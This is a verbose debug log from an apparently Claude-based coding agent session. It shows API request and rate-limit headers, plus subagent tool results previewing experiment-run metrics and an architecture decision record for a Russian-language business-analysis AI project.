\"x-stainless-timeout\": \"600\",\n[2026-09-29T07:45:13.648Z] [STDOUT]   },\n[2026-09-29T07:45:13.654Z] [STDOUT] }\n[2026-09-29T07:45:13.657Z] [INFO] {\n[2026-09-29T07:45:13.657Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:13.657Z] [INFO]   \"message\": {\n[2026-09-29T07:45:13.657Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:13.657Z] [INFO]     \"content\": [\n[2026-09-29T07:45:13.657Z] [INFO]       {\n[2026-09-29T07:45:13.657Z] [INFO]         \"tool_use_id\": \"toolu_01LQTJmu9zTpsJ2uCFEMMevK\",\n[2026-09-29T07:45:13.657Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:13.657Z] [INFO]         \"content\": \"\\nOutput too large (41.7KB). Full output saved to: /home/box/.claude/projects/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tool-results/bow19uhtn.txt\\n\\nPreview (first 2KB):\\n    verdict works-with-edits\\n    success_rate 0.62 (75 \u0438\u0437 121 \u043e\u0442\u0432\u0435\u0442\u043e\u0432 \u043f\u0440\u0438\u043d\u044f\u0442\u044b \u0411\u0410 \u0431\u0435\u0437 \u044f\u0432\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438/\u043a\u0440\u0438\u0442\u0438\u043a\u0438; \u043e\u0446\u0435\u043d\u043a\u0430 \u043f\u043e \u043c\u0430\u0440\u043a\u0435\u0440\u0430\u043c \u0432 \u0440\u0435\u043f\u043b\u0438\u043a\u0430\u0445 \u0411\u0410, \u0441\u043c. logs/experiment-log.md)\\n    tokens_input 79405522\\n    tokens_output 543180\\n    duration 2026-06-18 \u2192 2026-07-31 (10 \u0440\u0430\u0431\u043e\u0447\u0438\u0445 \u0434\u043d\u0435\u0439 \u0441\u0435\u0441\u0441\u0438\u0439, 44 \u043a\u0430\u043b\u0435\u043d\u0434\u0430\u0440\u043d\u044b\u0445 \u0434\u043d\u044f)\\n    turns 242\\nRUN-0014 {\\\"measured\\\": true, \\\"source\\\": \\\"runs/2026/RUN-0014/inputs/chat-export-1075.json\\\", \\\"started_at\\\": \\\"2026-07-24T07:31:06Z\\\", \\\"finished_at\\\": \\\"2026-07-24T08:06:20Z\\\", \\\"duration_seconds\\\": 2114, \\\"tokens\\\": {\\\"input\\\": 195948, \\\"output\\\": 11551, \\\"total\\\": 207499, \\\"reasoning\\\": 8860, \\\"cached\\\": 59136}, \\\"iterations\\\": 4, \\\"steps_planned\\\": 4, \\\"steps_completed\\\": 1, \\\"success_rate\\\": 0.25, \\\"eval\\\": {\\\"verdict\\\": \\\"works-with-edits\\\", \\\"quality\\\": 2, \\\"target_artifact\\\": \\\"not-produced\\\", \\\"defects\\\": 5, \\\"factual_distortions\\\": 1}}\\nRUN-0015 {\\\"turns\\\": 20, \\\"episodes\\\": 10, \\\"iterations\\\": 10, \\\"ba_edits\\\": 6, \\\"quality\\\": 3, \\\"verdict\\\": \\\"works-with-edits\\\", \\\"success_rate\\\": 0.8, \\\"success_rate_basis\\\": \\\"8 \u0438\u0437 10 \u044d\u043f\u0438\u0437\u043e\u0434\u043e\u0432 \u043f\u0440\u0438\u043d\u044f\u0442\u044b \u0411\u0410 \u0441 \u043f\u0440\u0430\u0432\u043a\u0430\u043c\u0438 \u0438\u043b\u0438 \u0431\u0435\u0437; \u0432 \u044d\u043f\u0438\u0437\u043e\u0434\u0435 2 \u043e\u0442\u043a\u043b\u043e\u043d\u0451\u043d \u0431\u043b\u043e\u043a \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0445 \u041d\u0424\u0422 \u0438 API-\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 (\u0440\u0435\u043f\u043b\u0438\u043a\u0430 4: \u00ab\u0440\u0430\u0437\u0434\u0435\u043b 3 - \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u00bb, \u00ab5 \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u00bb), \u0432 \u044d\u043f\u0438\u0437\u043e\u0434\u0435 7 \u0411\u0410 \u043e\u0442\u043a\u043b\u043e\u043d\u0438\u043b \u043e\u0441\u043d\u043e\u0432\u043d\u0443\u044e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044e \u043c\u043e\u0434\u0435\u043b\u0438 \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u0442\u0435\u0440\u043c\u0438\u043d \u00ab\u041f\u0440\u0430\u0432\u0438\u043b\u043e\u00bb \u043d\u0430 \u00ab\u041a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438\u00bb (\u0440\u0435\u043f\u043b\u0438\u043a\u0430 12: \u00ab\u041f\u0440\u0430\u0432\u0438\u043b\u043e ... \u043e\u0441\u0442\u0430\u0432\u0438\u043c\u00bb)\\\", \\\"hallucinations\\\": 2, \\\"hallucinations_shipped\\\": 0, \\\"tokens_output\\\": [REDACTED], \\\"tokens_thinking\\\": [REDACTED], \\\"tokens_context_in_max\\\": [REDACTED], \\\"tokens_context_refeed_sum\\\": [REDACTED], \\\"token_method\\\": \\\"pro\u2026age\\\", \\\"duration_\\n...\\n\",\n[2026-09-29T07:45:13.657Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:13.657Z] [INFO]       }\n[2026-09-29T07:45:13.657Z] [INFO]     ]\n[2026-09-29T07:45:13.657Z] [INFO]   },\n[2026-09-29T07:45:13.657Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:13.657Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:13.657Z] [INFO]   \"uuid\": \"9ff93452-c158-43d3-a14a-cf23788ecaa9\",\n[2026-09-29T07:45:13.657Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:13.402Z\",\n[2026-09-29T07:45:13.657Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:13.657Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:45:13.657Z] [INFO] }\n[2026-09-29T07:45:13.662Z] [STDOUT] [log_fb4c74] sending request {\n[2026-09-29T07:45:13.666Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:13.669Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:13.672Z] [STDOUT]   options: {\n[2026-09-29T07:45:13.675Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:13.681Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:13.687Z] [STDOUT]     body: {\n[2026-09-29T07:45:13.695Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:13.698Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:13.704Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:13.708Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:13.711Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:13.717Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:13.720Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:13.723Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:13.726Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:13.729Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:45:13.732Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:45:13.736Z] [STDOUT]       stream: true,\n[2026-09-29T07:45:13.741Z] [STDOUT]     },\n[2026-09-29T07:45:13.746Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:45:13.750Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:45:13.757Z] [STDOUT]       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\"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:14.339Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:14.348Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:14.356Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:14.361Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:14.367Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:14.377Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:14.381Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:14.383Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:14.398Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": 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state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:14.505Z] [STDOUT] [log_896ae5] response parsed {\n[2026-09-29T07:45:14.510Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:14.517Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:14.523Z] [STDOUT]   body: X {\n[2026-09-29T07:45:14.529Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:14.537Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:14.542Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:14.551Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:14.559Z] [STDOUT]     },\n[2026-09-29T07:45:14.570Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:14.589Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:14.596Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:14.600Z] [STDOUT]   },\n[2026-09-29T07:45:14.607Z] [STDOUT]   durationMs: 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\"wire_ingest_context\": {\n[2026-09-29T07:45:14.616Z] [INFO]     \"toolu_018RbiPHnRrUTRZvA6JEDgZq\": {\n[2026-09-29T07:45:14.616Z] [INFO]       \"cwd\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process\"\n[2026-09-29T07:45:14.616Z] [INFO]     }\n[2026-09-29T07:45:14.616Z] [INFO]   }\n[2026-09-29T07:45:14.616Z] [INFO] }\n[2026-09-29T07:45:14.621Z] [STDOUT] [log_fb4c74, request-id: \"req_011CfXMjvNi8kM174BHGkpko\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 811ms\n[2026-09-29T07:45:14.627Z] [STDOUT] [log_fb4c74] response start {\n[2026-09-29T07:45:14.637Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:14.640Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:14.644Z] [STDOUT]   headers: {\n[2026-09-29T07:45:14.652Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:14.658Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:14.663Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:14.671Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:14.682Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:14.692Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:14.697Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:14.705Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:14.712Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:14.730Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:14.744Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:14.755Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:14.761Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:14.767Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:14.773Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:14.777Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:14.784Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:14.790Z] [STDOUT]     \"cf-ray\": \"a4295dfb081c29ad-FRA\",\n[2026-09-29T07:45:14.795Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:14.800Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:14.804Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:14.808Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:14.819Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:14 GMT\",\n[2026-09-29T07:45:14.825Z] [STDOUT]     \"request-id\": \"req_011CfXMjvNi8kM174BHGkpko\",\n[2026-09-29T07:45:14.833Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:14.836Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:14.841Z] [STDOUT]     traceresponse: \"00-1a870d442c0b2b4591c6022c1eba3dfe-d6e22b91c24eb00f-01\",\n[2026-09-29T07:45:14.858Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:14.868Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:14.873Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:14.875Z] [STDOUT]   },\n[2026-09-29T07:45:14.878Z] [STDOUT]   durationMs: 811,\n[2026-09-29T07:45:14.883Z] [STDOUT] }\n[2026-09-29T07:45:14.891Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:14.895Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:14 GMT\",\n[2026-09-29T07:45:14.899Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:14.906Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:14.919Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:14.924Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:14.944Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:14.964Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:14.971Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:14.984Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:15.007Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:15.042Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:15.047Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:15.056Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:15.059Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:15.065Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:15.069Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:15.073Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:15.075Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:15.078Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:15.081Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:15.084Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:15.087Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:15.094Z] [STDOUT]   \"request-id\": \"req_011CfXMjvNi8kM174BHGkpko\",\n[2026-09-29T07:45:15.098Z] [STDOUT]   \"traceresponse\": \"00-1a870d442c0b2b4591c6022c1eba3dfe-d6e22b91c24eb00f-01\",\n[2026-09-29T07:45:15.104Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:15.110Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:15.115Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:15.130Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:15.135Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:15.141Z] [STDOUT]   \"cf-ray\": \"a4295dfb081c29ad-FRA\",\n[2026-09-29T07:45:15.146Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:15.157Z] [STDOUT] [log_fb4c74] response parsed {\n[2026-09-29T07:45:15.162Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:15.166Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:15.171Z] [STDOUT]   body: X {\n[2026-09-29T07:45:15.175Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:15.182Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:15.187Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:15.192Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:15.197Z] [STDOUT]     },\n[2026-09-29T07:45:15.202Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:15.207Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:15.213Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:15.220Z] [STDOUT]   },\n[2026-09-29T07:45:15.227Z] [STDOUT]   durationMs: 812,\n[2026-09-29T07:45:15.237Z] [STDOUT] }\n[2026-09-29T07:45:15.269Z] [INFO] {\n[2026-09-29T07:45:15.269Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:15.269Z] [INFO]   \"message\": {\n[2026-09-29T07:45:15.269Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:15.269Z] [INFO]     \"id\": \"msg_011CfXMjvMiNoCR58f4YGwA7\",\n[2026-09-29T07:45:15.269Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:15.269Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:15.269Z] [INFO]     \"content\": [\n[2026-09-29T07:45:15.269Z] [INFO]       {\n[2026-09-29T07:45:15.269Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:45:15.269Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:45:15.269Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:45:15.269Z] [INFO]     ],\n[2026-09-29T07:45:15.269Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:15.269Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:15.269Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:15.269Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:15.269Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:15.269Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:15.269Z] [INFO]       \"cache_creation_input_tokens\": 3947,\n[2026-09-29T07:45:15.269Z] [INFO]       \"cache_read_input_tokens\": 42905,\n[2026-09-29T07:45:15.269Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:15.269Z] [INFO]         \"ephemeral_5m_input_tokens\": 3947,\n[2026-09-29T07:45:15.269Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:45:15.269Z] [INFO]       },\n[2026-09-29T07:45:15.269Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:45:15.269Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:45:15.269Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:15.269Z] [INFO]     },\n[2026-09-29T07:45:15.269Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:15.269Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:15.269Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:15.269Z] [INFO]   },\n[2026-09-29T07:45:15.269Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:15.269Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:15.269Z] [INFO]   \"uuid\": \"28d84b39-6612-4547-8b08-fefbcd2785aa\",\n[2026-09-29T07:45:15.269Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:15.085Z\",\n[2026-09-29T07:45:15.269Z] [INFO]   \"request_id\": \"req_011CfXMjuuvFVhkPQaMLinCs\",\n[2026-09-29T07:45:15.269Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:15.269Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:45:15.269Z] [INFO] }\n[2026-09-29T07:45:15.277Z] [INFO] {\n[2026-09-29T07:45:15.277Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:15.277Z] [INFO]   \"message\": {\n[2026-09-29T07:45:15.277Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:15.277Z] [INFO]     \"id\": \"msg_011CfXMjvsy4h4mdFcahKVfX\",\n[2026-09-29T07:45:15.277Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:15.277Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:15.277Z] [INFO]     \"content\": [\n[2026-09-29T07:45:15.277Z] [INFO]       {\n[2026-09-29T07:45:15.277Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:45:15.277Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:45:15.277Z] [INFO]         \"signature\": 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\"standard\",\n[2026-09-29T07:45:15.277Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:15.277Z] [INFO]     },\n[2026-09-29T07:45:15.277Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:15.277Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:15.277Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:15.277Z] [INFO]   },\n[2026-09-29T07:45:15.277Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:15.277Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:15.277Z] [INFO]   \"uuid\": \"4e9738bc-497a-4bff-81c6-82a64a2e0c1e\",\n[2026-09-29T07:45:15.277Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:15.216Z\",\n[2026-09-29T07:45:15.277Z] [INFO]   \"request_id\": \"req_011CfXMjvNi8kM174BHGkpko\",\n[2026-09-29T07:45:15.277Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:15.277Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:45:15.277Z] [INFO] }\n[2026-09-29T07:45:15.680Z] [INFO] {\n[2026-09-29T07:45:15.680Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:15.680Z] [INFO]   \"message\": {\n[2026-09-29T07:45:15.680Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:15.680Z] [INFO]     \"content\": [\n[2026-09-29T07:45:15.680Z] [INFO]       {\n[2026-09-29T07:45:15.680Z] [INFO]         \"tool_use_id\": \"toolu_018RbiPHnRrUTRZvA6JEDgZq\",\n[2026-09-29T07:45:15.680Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:15.680Z] [INFO]         \"content\": \"\\nOutput too large (36.5KB). Full output saved to: /home/box/.claude/projects/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tool-results/bxach7km2.txt\\n\\nPreview (first 2KB):\\n=== decisions/2026-09-adr-017-ba-ai-process-source-distribution.md\\n\\n# ADR-017: \u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 ba-ai-process \u2014 Source, Distribution \u0438 \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c\\n\\n## Decision Metadata\\n\\n| Field | Value |\\n| --- | --- |\\n| ADR id | ADR-017 |\\n| Decision type | methodology |\\n| Decision status | accepted (human decision gate: [issue #599](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/599)) |\\n| Decision date | 2026-09-22 |\\n| Owner | G-Ivan-A |\\n| Source | [issue #595](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/595); human approval and physical Source migration \u2014 [issue #599](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/599) and [PR #600](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/600) |\\n| Impacted artifacts | Source [`projects/ba-ai-process/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process), runtime [`G-Ivan-A/mango-ba-ai-runtime-cli`](https://github.com/G-Ivan-A/mango-ba-ai-runtime-cli), \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f [`research/mango/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/mango) \u0438 [`research/ai-education/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ai-education), \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 backlog [`ops/backlog.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md) |\\n| Supersedes | none |\\n| Superseded by | none |\\n\\n## Context\\n\\n\u0422\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0440\u043e\u0435\u043a\u0442 [`projects/ba-ai-process/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process)\\n\u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0445\u0440\u0430\u043d\u0438\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u0443\u0435\u043c\u0443\u044e \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c, \u043a\u043e\u043d\u0446\u0435\u043f\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430, \u0442\u0435\u0441\u0442\u044b\\n\u0441\u0431\u043e\u0440\u043a\u0438 \u0438 \u043f\u0430\u043a\u0435\u0442 \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b. \u0418\u043c\u044f \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u043e\u0431\u0449\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443 \u0441 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u043c\\n\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u043c, \u0445\u043e\u0442\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439\\n[`package-manifest.yaml`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/package-manifest.yaml)\\n\u0443\u0436\u0435 \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u0435\u0442 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0435 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044b, 